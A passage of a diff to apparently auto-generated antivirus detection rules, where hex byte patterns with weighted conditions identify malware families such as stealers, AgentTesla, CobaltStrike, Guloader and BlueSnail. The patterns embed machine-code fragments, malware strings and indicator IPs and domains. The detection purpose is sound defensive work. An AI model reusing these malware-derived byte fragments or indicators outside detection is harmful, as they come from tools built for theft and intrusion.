00 20 00 69 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 65 00 64 00 00 } //30720 + $a_00_8 = {00 c8 00 c8 00 02 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 53 65 6c 65 63 74 53 63 6f 6f 70 2e 41 21 64 68 61 00 64 00 78 01 7b 00 7b 00 22 00 66 00 69 00 6c 00 65 00 6e 00 61 00 6d 00 65 00 22 00 3a 00 20 00 22 00 7b 00 30 00 7d 00 22 00 2c 00 20 00 22 00 66 00 69 00 6c 00 65 00 73 00 69 00 7a 00 65 00 22 00 3a 00 20 00 7b 00 31 00 7d 00 20 00 2c 00 22 00 75 00 70 00 64 00 61 00 74 00 65 00 74 00 69 00 6d 00 65 00 22 00 3a 00 20 00 22 00 7b 00 32 00 7d 00 22 00 7d 00 7d 00 2c 00 64 00 20 01 43 00 6f 00 6e 00 66 00 69 00 67 00 20 00 6e 00 6f 00 74 00 20 00 66 00 6f 00 75 00 6e 00 64 00 00 } //30720 + $a_00_9 = {00 01 00 01 00 01 00 21 23 4c 6f 77 66 69 3a 48 53 54 52 3a 57 69 6e 33 32 2f 52 65 6d 6f 74 65 46 69 6c 65 4d 61 6e 61 67 65 72 00 01 00 9e 01 40 00 2a 00 5c 00 41 00 43 00 3a 00 5c 00 55 00 73 00 65 00 72 00 73 00 5c 00 57 00 6f 00 72 00 6c 00 64 00 5c 00 44 00 65 00 73 00 6b 00 74 00 6f 00 70 00 5c 00 5f 00 5f 00 52 00 65 00 6d 00 6f 00 74 00 65 00 5f 00 46 00 31 00 36 00 37 00 38 00 39 00 32 00 31 00 32 00 31 00 32 00 30 00 30 00 33 00 5c 00 43 00 6c 00 69 00 65 00 6e 00 74 00 5c 00 52 00 65 00 6d 00 6f 00 74 00 65 00 46 00 69 00 6c 00 65 00 4d 00 61 00 6e 00 61 00 67 00 65 00 72 00 2e 00 76 00 62 00 70 00 00 } //30720 condition: - ((#a_6c_0 & 1)*16675+(#a_66_1 & 1)*20340+(#a_3a_2 & 1)*28527+(#a_4f_3 & 1)*17748+(#a_00_5 & 1)*200+(#a_cf_6 & 1)*0+(#a_00_7 & 1)*70+(#a_00_9 & 1)*105) >=18 + ((#a_6c_0 & 1)*16675+(#a_66_1 & 1)*20340+(#a_69_2 & 1)*14958+(#a_3c_4 & 1)*-30362+(#a_00_7 & 1)*30720+(#a_00_8 & 1)*30720+(#a_00_9 & 1)*30720) >=18 } -rule _InfrastructureShared_14028{ +rule _InfrastructureShared_14954{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,46 00 46 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 65 61 6c 65 72 2e 41 48 42 21 4d 54 42 00 28 00 2c 01 8b bd cc fb ff ff 6b c0 09 0f b6 bc 38 20 d6 55 00 8b c7 89 bd cc fb ff ff 8b bd f0 fb ff ff c1 e8 04 89 85 } //21539 + $a_ff_1 = {f8 08 0f 14 00 32 01 b9 7b 00 00 00 66 89 47 0a 8d 47 0c 66 89 08 b9 2d 00 00 00 66 89 4f 3c 50 66 89 4f 32 66 89 4f 28 6a 00 66 89 4f 1e 6a 00 c7 47 56 7d 00 00 00 ff 15 0a 00 39 03 c6 84 24 88 01 00 00 27 89 74 24 30 c6 84 24 88 01 00 00 25 c7 44 24 54 90 01 04 c6 84 24 88 01 00 00 25 89 74 24 54 c6 84 24 88 01 00 00 24 8d 8c 24 ec 00 00 00 e8 90 00 00 00 78 ce 00 00 58 02 58 02 06 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 41 64 64 4c 6f 6f 6b 6f 75 74 2e 41 21 64 68 61 00 64 00 0d 01 52 65 67 69 73 74 65 72 41 64 64 69 6e 64 00 0f 01 44 65 72 65 67 69 73 74 65 72 41 64 64 69 6e 64 00 0d 01 41 53 53 45 4d 42 4c 59 5f 4e 41 4d 45 64 00 0c 01 41 53 53 45 4d 42 4c 59 5f 44 4c 4c 64 00 14 01 49 4d 50 4c 45 4d 45 4e 54 45 44 5f 43 41 54 } //-1076 + $a_52_2 = {64 00 40 01 45 00 78 00 63 00 65 00 70 00 74 00 69 00 6f 00 6e 00 3a 00 20 00 6f 00 75 00 74 00 6c 00 6f 00 6f 00 6b 00 20 00 6e 00 6f 00 74 00 20 00 69 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 65 00 64 00 00 00 78 ce 00 00 c8 00 c8 00 02 } //18245 + condition: + ((#a_4c_0 & 1)*21539+(#a_ff_1 & 1)*-1076+(#a_52_2 & 1)*18245) >=70 + +} +rule _InfrastructureShared_14955{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,58 02 58 02 06 00 21 " @@ -159681,7 +170432,7 @@ rule _InfrastructureShared_14028{ ((#a_46_0 & 1)*16675+(#a_5f_1 & 1)*19522+(#a_00_2 & 1)*116+(#a_3a_3 & 1)*19521+(#a_00_5 & 1)*32) >=600 } -rule _InfrastructureShared_14029{ +rule _InfrastructureShared_14956{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 02 00 21 " @@ -159692,7 +170443,7 @@ rule _InfrastructureShared_14029{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*32) >=200 } -rule _InfrastructureShared_14030{ +rule _InfrastructureShared_14957{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -159702,7 +170453,7 @@ rule _InfrastructureShared_14030{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_14031{ +rule _InfrastructureShared_14958{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -159715,7 +170466,7 @@ rule _InfrastructureShared_14031{ ((#a_54_0 & 1)*18467+(#a_37_1 & 1)*12341+(#a_42_2 & 1)*12855+(#a_69_3 & 1)*14958) >=1 } -rule _InfrastructureShared_14032{ +rule _InfrastructureShared_14959{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -159726,7 +170477,7 @@ rule _InfrastructureShared_14032{ ((#a_46_0 & 1)*16675+(#a_e9_1 & 1)*1150) >=2 } -rule _InfrastructureShared_14033{ +rule _InfrastructureShared_14960{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -159737,7 +170488,7 @@ rule _InfrastructureShared_14033{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*-28668) >=2 } -rule _InfrastructureShared_14034{ +rule _InfrastructureShared_14961{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -159749,7 +170500,7 @@ rule _InfrastructureShared_14034{ ((#a_46_0 & 1)*16675+(#a_48_1 & 1)*9218+(#a_8b_2 & 1)*814) >=2 } -rule _InfrastructureShared_14035{ +rule _InfrastructureShared_14962{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -159760,7 +170511,7 @@ rule _InfrastructureShared_14035{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*46) >=2 } -rule _InfrastructureShared_14036{ +rule _InfrastructureShared_14963{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -159771,7 +170522,22 @@ rule _InfrastructureShared_14036{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*99) >=2 } -rule _InfrastructureShared_14037{ +rule _InfrastructureShared_14964{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 07 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 42 6c 75 65 53 6e 61 69 6c 2e 42 21 64 68 61 00 01 00 0c 80 01 28 2a 44 65 61 6c 4c 69 6e 65 29 2e 01 00 11 80 01 2e 28 2a 52 65 6d 6f 74 65 44 72 69 76 65 72 29 2e 01 00 19 80 01 2f 66 73 } //16675 + $a_46_1 = {6c 65 44 72 69 76 65 72 46 61 63 74 6f 72 79 29 2e 01 00 12 80 01 2f 66 73 2e 28 2a 53 69 6d 70 6c 65 50 65 72 6d 29 2e 01 00 } //10286 + $a_28_2 = {4e } //-32755 N + $a_72_3 = {76 65 72 29 2e 01 00 17 80 01 28 2a 57 65 62 53 65 72 76 65 72 29 2e 53 65 74 57 65 62 43 6f 6e 6e 01 00 15 80 01 28 2a 57 65 62 53 65 72 76 65 72 29 2e 69 6e 69 74 41 70 69 2e 00 00 78 cf 00 00 02 00 02 } //29797 + $a_65_5 = {68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 0e 01 00 42 46 44 44 4f 53 2f 25 64 2d 25 64 00 01 00 12 01 00 46 59 48 48 4f 53 3d 25 64 2b 25 64 28 4d 42 29 00 01 00 11 01 00 46 59 59 4c 43 53 3d 25 64 2b 25 64 28 4d 42 29 01 00 19 01 00 41 63 63 65 70 74 2d 4c 61 } //28516 + $a_61_6 = {65 3a 20 7a 68 2d 63 6e 0d 0a 01 00 0c 01 00 53 54 4f 50 41 54 54 41 43 4b 00 01 00 0c 01 00 52 45 54 55 52 4e 50 4f 57 45 52 02 00 1e 01 79 6f 75 20 77 69 6c 6c 20 63 61 6e 27 74 20 72 65 67 69 73 74 20 70 72 6f 67 72 61 6d 00 02 00 0c 01 b1 72 b0 65 88 4c 24 02 88 4c 24 06 00 00 78 cf 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a } //26478 + condition: + ((#a_46_0 & 1)*16675+(#a_46_1 & 1)*10286+(#a_28_2 & 1)*-32755+(#a_72_3 & 1)*29797+(#a_65_5 & 1)*28516+(#a_61_6 & 1)*26478) >=2 + +} +rule _InfrastructureShared_14965{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 08 00 21 " @@ -159788,7 +170554,7 @@ rule _InfrastructureShared_14037{ ((#a_5f_0 & 1)*25635+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*2+(#a_01_4 & 1)*2+(#a_cf_5 & 1)*0+(#a_11_6 & 1)*4865+(#a_69_7 & 1)*24946) >=2 } -rule _InfrastructureShared_14038{ +rule _InfrastructureShared_14966{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -159800,7 +170566,7 @@ rule _InfrastructureShared_14038{ ((#a_46_0 & 1)*16675+(#a_13_1 & 1)*1324+(#a_fe_2 & 1)*766) >=3 } -rule _InfrastructureShared_14039{ +rule _InfrastructureShared_14967{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -159811,7 +170577,7 @@ rule _InfrastructureShared_14039{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*28535) >=3 } -rule _InfrastructureShared_14040{ +rule _InfrastructureShared_14968{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -159823,7 +170589,7 @@ rule _InfrastructureShared_14040{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28672+(#a_55_2 & 1)*26197) >=3 } -rule _InfrastructureShared_14041{ +rule _InfrastructureShared_14969{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -159833,7 +170599,7 @@ rule _InfrastructureShared_14041{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_14042{ +rule _InfrastructureShared_14970{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -159846,7 +170612,7 @@ rule _InfrastructureShared_14042{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*29285+(#a_50_2 & 1)*384+(#a_52_3 & 1)*384) >=4 } -rule _InfrastructureShared_14043{ +rule _InfrastructureShared_14971{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -159858,7 +170624,7 @@ rule _InfrastructureShared_14043{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*116+(#a_00_3 & 1)*4) >=4 } -rule _InfrastructureShared_14044{ +rule _InfrastructureShared_14972{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -159870,7 +170636,7 @@ rule _InfrastructureShared_14044{ ((#a_46_0 & 1)*16675+(#a_44_1 & 1)*257+(#a_00_3 & 1)*46) >=4 } -rule _InfrastructureShared_14045{ +rule _InfrastructureShared_14973{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -159882,7 +170648,7 @@ rule _InfrastructureShared_14045{ ((#a_6c_0 & 1)*16675+(#a_00_1 & 1)*111+(#a_79_2 & 1)*14964) >=4 } -rule _InfrastructureShared_14046{ +rule _InfrastructureShared_14974{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -159894,7 +170660,7 @@ rule _InfrastructureShared_14046{ ((#a_6c_0 & 1)*16675+(#a_00_2 & 1)*101+(#a_4d_3 & 1)*28257) >=4 } -rule _InfrastructureShared_14047{ +rule _InfrastructureShared_14975{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -159904,7 +170670,7 @@ rule _InfrastructureShared_14047{ ((#a_54_0 & 1)*18467) >=4 } -rule _InfrastructureShared_14048{ +rule _InfrastructureShared_14976{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -159917,7 +170683,7 @@ rule _InfrastructureShared_14048{ ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*23668+(#a_72_2 & 1)*26996+(#a_72_3 & 1)*30580) >=4 } -rule _InfrastructureShared_14049{ +rule _InfrastructureShared_14977{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -159931,7 +170697,7 @@ rule _InfrastructureShared_14049{ ((#a_46_0 & 1)*16675+(#a_43_1 & 1)*29798+(#a_67_2 & 1)*26995+(#a_00_3 & 1)*31090+(#a_72_4 & 1)*21249) >=4 } -rule _InfrastructureShared_14050{ +rule _InfrastructureShared_14978{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -159944,7 +170710,7 @@ rule _InfrastructureShared_14050{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25427+(#a_3a_3 & 1)*19521+(#a_6c_4 & 1)*26950) >=4 } -rule _InfrastructureShared_14051{ +rule _InfrastructureShared_14979{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -159959,7 +170725,7 @@ rule _InfrastructureShared_14051{ ((#a_46_0 & 1)*16675+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*-100+(#a_80_5 & 1)*-100) >=4 } -rule _InfrastructureShared_14052{ +rule _InfrastructureShared_14980{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 08 00 21 " @@ -159974,7 +170740,7 @@ rule _InfrastructureShared_14052{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*29216+(#a_3a_4 & 1)*21840+(#a_72_5 & 1)*30580+(#a_74_6 & 1)*28265+(#a_75_7 & 1)*28257) >=4 } -rule _InfrastructureShared_14053{ +rule _InfrastructureShared_14981{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 08 00 21 " @@ -159989,7 +170755,7 @@ rule _InfrastructureShared_14053{ ((#a_41_0 & 1)*20515+(#a_64_1 & 1)*27746+(#a_00_4 & 1)*5+(#a_3a_5 & 1)*21587+(#a_61_6 & 1)*26950+(#a_00_7 & 1)*5) >=4 } -rule _InfrastructureShared_14054{ +rule _InfrastructureShared_14982{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -160002,7 +170768,7 @@ rule _InfrastructureShared_14054{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*18041+(#a_cf_2 & 1)*0+(#a_72_3 & 1)*28265) >=5 } -rule _InfrastructureShared_14055{ +rule _InfrastructureShared_14983{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -160015,7 +170781,7 @@ rule _InfrastructureShared_14055{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*23629+(#a_73_2 & 1)*24924+(#a_00_4 & 1)*21827) >=5 } -rule _InfrastructureShared_14056{ +rule _InfrastructureShared_14984{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -160028,7 +170794,7 @@ rule _InfrastructureShared_14056{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*70+(#a_00_3 & 1)*70+(#a_03_4 & 1)*1) >=5 } -rule _InfrastructureShared_14057{ +rule _InfrastructureShared_14985{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -160043,7 +170809,7 @@ rule _InfrastructureShared_14057{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*-19274+(#a_40_2 & 1)*257+(#a_73_3 & 1)*28530+(#a_68_4 & 1)*24904+(#a_68_5 & 1)*1536) >=5 } -rule _InfrastructureShared_14058{ +rule _InfrastructureShared_14986{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -160058,7 +170824,7 @@ rule _InfrastructureShared_14058{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*30817+(#a_65_2 & 1)*11890+(#a_00_3 & 1)*261+(#a_00_4 & 1)*16321+(#a_ed_5 & 1)*26625) >=5 } -rule _InfrastructureShared_14059{ +rule _InfrastructureShared_14987{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 13 00 21 " @@ -160082,7 +170848,7 @@ rule _InfrastructureShared_14059{ ((#a_46_0 & 1)*16675+(#a_43_2 & 1)*26625+(#a_68_3 & 1)*1280+(#a_00_6 & 1)*6+(#a_3a_7 & 1)*26231+(#a_00_9 & 1)*102+(#a_52_10 & 1)*16686+(#a_70_11 & 1)*29264+(#a_4d_12 & 1)*21076+(#a_00_13 & 1)*115+(#a_00_14 & 1)*116+(#a_47_15 & 1)*-32504+(#a_65_16 & 1)*26960+(#a_72_17 & 1)*28531+(#a_65_18 & 1)*13357) >=5 } -rule _InfrastructureShared_14060{ +rule _InfrastructureShared_14988{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " @@ -160094,7 +170860,7 @@ rule _InfrastructureShared_14060{ ((#a_77_0 & 1)*19491+(#a_00_1 & 1)*111+(#a_49_2 & 1)*19770) >=6 } -rule _InfrastructureShared_14061{ +rule _InfrastructureShared_14989{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -160109,7 +170875,7 @@ rule _InfrastructureShared_14061{ ((#a_46_0 & 1)*16675+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_cf_5 & 1)*0) >=6 } -rule _InfrastructureShared_14062{ +rule _InfrastructureShared_14990{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -160124,7 +170890,7 @@ rule _InfrastructureShared_14062{ ((#a_54_0 & 1)*18467+(#a_52_1 & 1)*29797+(#a_6d_2 & 1)*29254+(#a_34_3 & 1)*25912+(#a_62_4 & 1)*13138+(#a_01_5 & 1)*1025) >=6 } -rule _InfrastructureShared_14063{ +rule _InfrastructureShared_14991{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -160139,7 +170905,7 @@ rule _InfrastructureShared_14063{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*13860+(#a_72_2 & 1)*28531+(#a_65_3 & 1)*13357+(#a_6b_4 & 1)*19557+(#a_00_5 & 1)*11875) >=6 } -rule _InfrastructureShared_14064{ +rule _InfrastructureShared_14992{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -160154,7 +170920,7 @@ rule _InfrastructureShared_14064{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*24868+(#a_75_2 & 1)*29541+(#a_65_3 & 1)*24915+(#a_00_4 & 1)*0+(#a_52_5 & 1)*21320) >=6 } -rule _InfrastructureShared_14065{ +rule _InfrastructureShared_14993{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -160168,7 +170934,7 @@ rule _InfrastructureShared_14065{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*28483+(#a_61_2 & 1)*385+(#a_65_3 & 1)*28233+(#a_65_5 & 1)*25857) >=6 } -rule _InfrastructureShared_14066{ +rule _InfrastructureShared_14994{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -160182,7 +170948,7 @@ rule _InfrastructureShared_14066{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25965+(#a_3a_3 & 1)*19539+(#a_41_4 & 1)*14916+(#a_64_5 & 1)*21364) >=6 } -rule _InfrastructureShared_14067{ +rule _InfrastructureShared_14995{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -160192,12 +170958,12 @@ rule _InfrastructureShared_14067{ $a_41_2 = {63 6f 75 6e 74 4e 61 6d 65 3d 7b 30 7d 29 01 00 15 80 01 52 61 77 53 65 63 75 72 69 74 79 44 65 73 63 72 69 70 74 6f 72 00 00 78 cf 00 00 06 00 06 00 09 00 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 4b 72 61 64 64 61 72 65 2e } //16755 $a_38_3 = {01 00 0f 80 01 69 6e 64 79 70 72 6f 6a 65 63 74 2e 6f 72 67 01 00 0f 80 01 32 31 30 2e 31 30 34 2e 32 33 34 2e 31 37 35 01 00 0f 80 01 32 31 30 2e 31 31 30 2e 31 36 32 2e 31 34 31 01 00 0e 80 01 32 31 31 2e 31 38 30 2e 31 32 33 2e 35 33 01 00 0e } //19784 $a_65_4 = {61 75 6c 74 4d 6f 6e 69 74 6f 72 01 00 0e 80 01 4c 69 76 65 55 70 64 61 74 65 2e 65 78 65 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0f 80 01 55 6e 69 6e 73 74 61 6c 6c 65 72 2e 65 78 65 9c ff 0c } //384 - $a_6e_5 = {6e 73 74 61 6c 2e 65 78 65 00 00 78 cf 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 49 55 51 31 32 33 21 4d 54 42 00 01 00 0b 81 01 6c 69 62 65 72 61 6c 69 74 65 74 01 00 0c 81 01 74 65 6b 74 6f 73 69 20 70 } //384 + $a_6e_5 = {6e 73 74 61 6c 2e 65 78 65 00 00 78 cf 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4c 56 30 31 21 4d 54 42 00 01 00 15 81 01 73 74 76 6e 69 6e 67 73 76 61 72 73 6c 65 72 6e 65 2e 69 6e 69 01 00 20 81 01 61 } //384 condition: ((#a_46_0 & 1)*21283+(#a_44_1 & 1)*17211+(#a_41_2 & 1)*16755+(#a_38_3 & 1)*19784+(#a_65_4 & 1)*384+(#a_6e_5 & 1)*384) >=6 } -rule _InfrastructureShared_14068{ +rule _InfrastructureShared_14996{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " @@ -160205,17 +170971,29 @@ rule _InfrastructureShared_14068{ $a_46_0 = {50 55 41 3a 57 69 6e 33 32 2f 4b 72 61 64 64 61 72 65 2e 48 4d 52 38 00 01 00 0f 80 01 69 6e 64 79 70 72 6f 6a 65 63 74 2e 6f 72 67 01 00 0f 80 01 32 31 30 2e 31 30 34 2e 32 33 34 2e 31 37 35 01 00 0f 80 01 32 31 30 2e 31 31 30 } //16675 $a_32_1 = {31 34 31 01 00 0e 80 01 32 31 31 2e 31 38 30 2e 31 32 33 2e 35 33 01 00 0e 80 01 44 65 66 61 75 6c 74 4d 6f 6e 69 74 6f 72 01 00 0e 80 01 4c 69 76 65 55 70 64 61 } //12590 $a_65_2 = {65 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0f 80 01 55 6e 69 6e 73 74 61 6c 6c 65 72 2e 65 78 65 9c ff 0c 80 01 55 6e 69 6e 73 } //25972 - $a_2e_3 = {78 65 00 00 78 cf 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 49 55 51 31 32 33 21 4d 54 42 00 01 00 0b 81 01 6c 69 62 65 72 61 6c 69 74 65 74 01 00 0c 81 01 74 65 6b 74 6f 73 69 20 70 61 61 6c 01 00 0a 81 01 6d 61 72 6b 65 64 73 66 72 74 01 00 1a 81 01 73 70 6f 6c 65 72 69 } //24948 - $a_72_4 = {65 20 70 68 79 74 6f 63 68 65 6d 69 73 74 01 00 19 81 01 28 28 5c 73 70 65 72 61 62 6c 65 5c 48 61 76 61 72 65 72 32 30 2e 74 75 72 01 00 10 81 01 24 24 5c 61 63 72 6f 6e 69 63 61 6c 2e 53 6b 6f 01 00 1e 81 01 38 38 5c 64 75 66 72 65 6e 69 74 65 5c 68 61 6b 6e 69 6e 67 65 6e 73 2e 55 6e 6f 31 39 30 00 } //26478 - $a_00_5 = {00 08 00 08 00 08 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 43 4d 45 21 4d 54 42 00 01 00 0e 01 00 57 53 53 00 67 65 74 5f 54 78 74 53 00 01 00 13 01 00 73 65 74 5f 54 78 74 53 00 54 00 58 58 58 58 58 58 00 01 00 0e 01 41 72 72 61 79 41 74 74 72 69 62 75 74 65 01 00 0b 01 50 61 72 61 6d 41 72 72 61 79 30 01 00 0e 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 07 01 47 65 74 54 79 70 65 01 00 20 01 54 00 68 00 72 00 65 00 61 00 64 00 50 00 6f 00 6f 00 6c 00 2e 00 4c 00 69 00 67 00 68 00 74 00 01 00 13 01 44 65 62 75 67 67 61 62 6c 65 41 74 74 72 69 62 75 74 65 00 } //30720 - $a_00_6 = {00 08 00 08 00 08 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 52 6f 73 74 70 61 79 00 01 00 0b 80 01 6f 66 66 65 72 3a 73 68 6f 77 6e 01 00 0e 80 01 6f 66 66 65 72 3a 61 63 63 65 70 74 65 64 01 00 0e 80 01 6f 66 66 65 72 3a 64 65 63 6c 69 6e 65 64 01 00 09 80 01 79 61 6e 64 65 78 2e 72 75 01 00 16 80 01 41 76 61 73 74 50 65 72 73 69 73 74 65 6e 74 53 74 6f 72 61 67 65 01 00 0f 80 01 41 76 61 73 74 20 41 6e 74 69 76 69 72 75 73 01 00 20 80 01 57 61 72 67 61 6d 69 6e 67 2e 6e 65 74 5c 47 61 6d 65 43 65 6e 74 65 72 5c 61 70 70 4d 61 69 6e 01 00 16 80 01 44 72 69 76 65 72 48 75 62 49 6e 73 74 61 6c 6c 65 72 2e 65 78 65 00 } //30720 - $a_00_7 = {00 08 00 08 00 08 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 43 50 21 4d 54 42 00 01 00 06 01 53 65 72 69 61 6c 01 00 09 01 41 70 70 44 6f 6d 61 69 6e 01 00 11 01 67 65 74 5f 43 75 72 72 65 6e 74 44 6f 6d 61 69 6e 01 00 05 01 53 6c 65 65 70 01 00 0c 01 43 6c 61 73 73 4c 69 62 72 61 72 79 01 00 08 01 54 6f 53 74 72 69 6e 67 01 00 23 01 63 6f 73 74 75 72 61 2e 63 6c 61 73 73 6c 69 62 72 61 72 79 2e 64 6c 6c 2e 63 6f 6d 70 72 65 73 73 65 64 01 00 25 01 57 69 6e 64 6f 77 73 46 6f 72 6d 73 41 70 70 31 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 00 } //30720 - $a_00_8 = {00 09 00 09 00 09 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 52 54 21 4d 54 42 00 01 00 06 81 01 5f 68 79 70 6f 74 01 00 0f 81 01 47 65 74 53 74 61 72 74 75 70 49 6e 66 6f 57 01 00 09 